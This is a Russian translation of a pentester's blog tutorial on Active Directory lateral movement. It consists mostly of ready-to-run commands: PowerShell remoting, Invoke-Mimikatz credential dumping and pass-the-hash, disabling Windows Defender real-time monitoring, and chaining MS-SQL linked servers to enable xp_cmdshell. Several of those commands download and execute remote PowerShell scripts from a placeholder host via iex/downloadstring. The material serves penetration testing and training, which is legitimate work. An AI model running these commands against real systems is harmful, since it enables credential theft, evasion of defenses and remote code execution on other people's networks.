Active Directory - Lateral Movement
Этот руководство объясняет основные моменты бокового перемещения Active-Directory с помощью команд PowerShell, Inkove-Mimikats и MS-SQL.. Я также объясню те термины, которые каждый пентестер должен знать, чтобы понять атаки, выполненные в Active Directory.
На протяжении всей статьи я буду использовать PowerView , Invoke-Mimikatz и PowerUpSQL.psd1 при выполнении бокового перемещения в Windows/Active Directory Environment. Если потребуются какие-либо другие инструменты, они будут упомянуты непосредственно по их использованию.
Что такое боковое перемещение
Боковое перемещение — это когда злоумышленник использует свои текущие права доступа для движения в окружающей среде. Повышение привилегий же, которое я уже объяснял, дает расширенные права доступа. Злоумышленники объединяют эти две тактики для достижения своей конечной цели кражи данных или нанесение иного ущерба вашей организации.Удаленное взаимодействие PowerShell
- Думайте об этом как о psexec на стероидах.
- Вы обнаружите, что это все чаще используется на предприятиях. Включено по умолчанию в Server 2012 и более поздних версиях.
- Возможно, вам потребуется включить удаленное взаимодействие ( Enable-PSRemoting ) на настольном компьютере с Windows, для этого требуются права администратора.
- Вы получаете повышенную оболочку в удаленной системе, если для аутентификации используются учетные данные администратора (что является настройкой по умолчанию).
По умолчанию включение удаленного взаимодействия PowerShell включает слушателя http и https. Слушатели работают на портах по умолчанию 5985 для http и 5986 для https .
Сеансы Powershell
В приведенной ниже таблице, вы можете получить краткое представление о работе и использование команд которые мы будем использовать для выполнения атак.Использовать -Credential параметр для передачи имени пользователя/пароля
Код с оформлением (BB-коды):
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<computer-name>", $pass)
Enter/New-PSSession Remoting (создание и управление новой сессией)
1. Подключение к PS-Session удаленного пользователя
Код с оформлением (BB-коды):
Enter-PSSession -Computername <computer-name>
2. Выполнение команд Stateful с помощью Enter-PSSession
Код с оформлением (BB-коды):
$sess = New-PSSession -Computername <computer-name>
Enter-PSSession -Session $sess
[scorp.star.light.local]:PS> $proc = Get-Process
[scorp.star.light.local]:PS> exit
Enter-PSSession -Session $sess
[scorp.star.light.local]:PS> proc
Will list current process
Invoke-Command
1. Выполнение команд Stateful с помощью Invoke-Command
Код с оформлением (BB-коды):
$sess = New-PSSession -Computername <computer-name>
Invoke-Command -Session $sess -ScriptBlock {$proc = Get-Process}
Invoke-Command -Session $sess -ScriptBlock {$proc.Name}
2. Показать разрешенные команды, которые мы можем выполнять на удаленной машине
Код:
# скопируйте фрагмент команды с необходимыми параметрами
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {get-command}
Invoke-Command -computername <computer-name> -credential $cred -command {get-command}
Invoke-Command -computername <computer-name> -command {get-command}
3. Запишите файл с помощью ScriptBlock
Код с оформлением (BB-коды):
# copy the command snippet with the parameters which are required
Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
Invoke-Command -ComputerName <computer-name> -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
4. Отредактируйте файл с помощью ScriptBlock
Код с оформлением (BB-коды):
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here}
5. Выполнение команды с помощью command и ScriptBlock
Код с оформлением (BB-коды):
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {whoami}
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -ScriptBlock {whoami}
Invoke-Command -computername <computer-name> -command {whoami}
Invoke-Command -computername <computer-name> -ScriptBlock {whoami}
6. Выполнение файла с помощью ScriptBlock
Код с оформлением (BB-коды):
# copy the command snippet with the parameters which are required
Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
Invoke-Command -ComputerName <computer-name> -ScriptBlock{"C:\temp\mimikatz.exe"}
7. Выполнение файла с использованием FilePath
Код с оформлением (BB-коды):
Invoke-Command -computername <computer-name> -FilePath "C:\temp\mimikatz.exe"
8. Языковой режим
Код с оформлением (BB-коды):
-computername <computer-name> -ScriptBlock {$ExecutionContext.SessionState.LanguageMode}
Если значение LanguageMode равно Constrained , то будет разрешено выполнение только встроенных команд
Выполнение локально загруженной функции на удаленных машинах
Пример: Hello.ps1
Код с оформлением (BB-коды):
function hello
{
Write-Output "Hello from the function"
}
1. Теперь мы можем загрузить функцию на нашу машину
Код с оформлением (BB-коды):
. .\Hello.ps1
2. Теперь мы можем выполнять локально загруженные функции
Код с оформлением (BB-коды):
Invoke-Command -ScriptBlock ${function:hello} -ComputerName <computer-name>
3. В данном случае мы передаем аргументы. Имейте в виду, что таким образом можно передавать только позиционные аргументы.
Код с оформлением (BB-коды):
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list of servers>) -
ArgumentList
4. Непосредственно загружать функции на удаленные машины, используя FilePath
Код с оформлением (BB-коды):
$sess = New-PSSession -Computername <computer-name>
Invoke-Command -FilePath "C:\temp\hello.ps1" -Session $sess
Enter-PSSession -Session $sess
[scorp.star.light.local]:PS> hello
Hello from the function
Invoke-Mimikatz
- скрипты можно использовать для сброса учетных данных, тикетов и многого другого, используя mimikatz с помощью PowerShell, не сбрасывая исполняемый файл mimikatz на диск.
- Это очень полезно для передачи и воспроизведения хэшей, билетов и многих захватывающих атак Active Directory.
- С использованием код из ReflectivePEInjection, mimikatz загружается рефлективно в память. Все функции mimikatz можно использовать из этого сценарий.
- Сценарию нужны права администратора для дампа учетные данные с локальной машины. Многие атаки требуют определенных привилегий которые рассматриваются при обсуждении этой атаки.
1. Сброс учетных данных на локальный компьютер
Код с оформлением (BB-коды):
Invoke-Mimikatz -DumpCreds
2. Дамп учетных данных на нескольких удаленных машинах
Код с оформлением (BB-коды):
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
Для этого Invoke-Mimikatz использует команду PowerShell remoting Invoke-Command.
3. «Передача хэша» — генерация токенов из хэшей
Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntImhash> /run:powershell.exe"'
4. Создайте новую сессию и выгрузите хэши
Код:
# Создайте сессию для удаленного доступа
$sess = New-PSSession -ComputerName <computer-name>
# Обход AMSI
Invoke-Command -ScriptBlock {Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; whoami} -Session $sess
# Локальная загрузка mimikatz в вашей систему
Import-Module .\Invoke-Mimikatz.ps1
# Выполнение локально загруженных функций в вашей системе
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz -command '"sekurlsa::logonpasswords"'} -Session $sess
Перечисление MS-SQL — часть 1
- Серверы MS-SQL обычно развернуты в большом количестве в домене Windows.
- Серверы SQL предоставляют очень хорошие возможности для горизонтального перемещения, поскольку пользователи домена могут быть сопоставлены с ролями базы данных.
Код:
Import-Module .\PowerUpSQL.psd1
Методология
1. Проверьте имена участников-служб
2. Проверьте, к каким SPN у вас есть доступ
3. Проверьте имеющиеся у вас привилегии для указанных выше отфильтрованных SPN.
4. Обратите внимание на Instance-Name , ServicePrincipalName и DomainAccount-Name.
5. Если вы найдете какой-либо сервис с более высокими привилегиями , продолжайте использовать его.
Перечисление PowerUpSQL
1. Перечислить SPN
Код с оформлением (BB-коды):
Get-SQLInstanceDomain
2. Проверьте доступ
Код с оформлением (BB-коды):
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
3. Проверить привилегии/собрать информацию
Код с оформлением (BB-коды):
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
4. Проверьте права на олицетворение (дополнительно)
Код с оформлением (BB-коды):
Invoke-SQLAudit -Verbose -Instance <instanceName>
Использование MS-SQL — часть 2
- Ссылка на базу данных позволяет SQL Server получать доступ к внешним источникам данных, таким как другие SQL Server и источники данных OLE DB.
- В случае связей базы данных между SQL-серверами, то есть наличие связанных SQL-серверов, можно выполнять хранимые процедуры.
- Связи с базами данных работают даже между лесными трастами.
Выполнение команд на целевом сервере
- На целевом сервере должен быть уже включен xp_cmdshell; или
- Если rpcout включен (отключен по умолчанию), xp_cmdshell можно включить с помощью:
Код с оформлением (BB-коды):
EXECUTE('sp_configure ''xp_cmdshell'',1; reconfigure;') AT "eu-sql"
- Если rpcout отключен, но у нас есть sa , его можно включить с помощью
Код с оформлением (BB-коды):
EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true';
Методология
1. Проверьте ссылку SQL Server
2. Обратите внимание, есть ли у вас ссылка на любую другую базу данных в DatabaseLinkName
3. Если SysAdmin:0 означает, что нам не разрешат включить xp_cmdshell
4. Продолжайте перечислять и проверять все связанные базы данных, к которым у вас есть доступ.
5. Теперь мы можем попробовать выполнить команды во всех найденных связанных базах данных
PowerUpSQL - Злоупотребление привилегиями
1. Перечислить ссылки SQL Server
Код с оформлением (BB-коды):
Get-SQLServerLink -Instance <instanceName> -Verbose
select * from master..sysservers
2. Перечислить ссылки на БД
Код с оформлением (BB-коды):
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Verbose
select * from openquery("<instanceName>",'select * from openquery("<linkedInstance>",''select * from master..sysservers'')')
3. Выполнение команд на целевом сервере
Код с оформлением (BB-коды):
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Query "exec master..xp_cmdshell 'whoami'" | ft
Дополнительные команды
1. Загрузите файл на целевой сервер
Код с оформлением (BB-коды):
Get-SQLServerLinkCrawl -Instance <instanceName> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://IP:8080/Invoke-HelloWorld.ps1'',''C:\Windows\Temp\Invoke-HelloWorld.ps1'')"'
2. Выдавать себя за пользователя
Код с оформлением (BB-коды):
Invoke-SQLAuditPrivImpersonateLogin -Instance <instanceName> -Exploit -Verbose
#Then, we can EXECUTE AS, and chained the 'EXECUTE AS'
Get-SQLServerLinkCrawl -Verbose -Instance <instanceName> -Query "EXECUTE AS LOGIN = 'dbuser'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'powershell -c iex (new-object net.webclient).downloadstring(''http://IP/Invoke-HelloWorld.ps1'')'"
3. Базовые запросы SQL Server для перечисления БД
Также работает с Get-SQLServerLinkCrawl.
Код с оформлением (BB-коды):
# просмотр всех баз данных в экземпляре
Get-SQLQuery -Instance <instanceName> -Query "SELECT name FROM sys.databases"
# просмотр всех баз данных
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.TABLES"
# просмотр всех столбцов во всех базах данных
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.columns"
# просмотр данных в таблице
Get-SQLQuery -Instance <instanceName> -Query "USE dbName;SELECT * FROM tableName"
Перевод статьи https://0xstarlight.github.io/posts/Active-Directory-Lateral-Movement/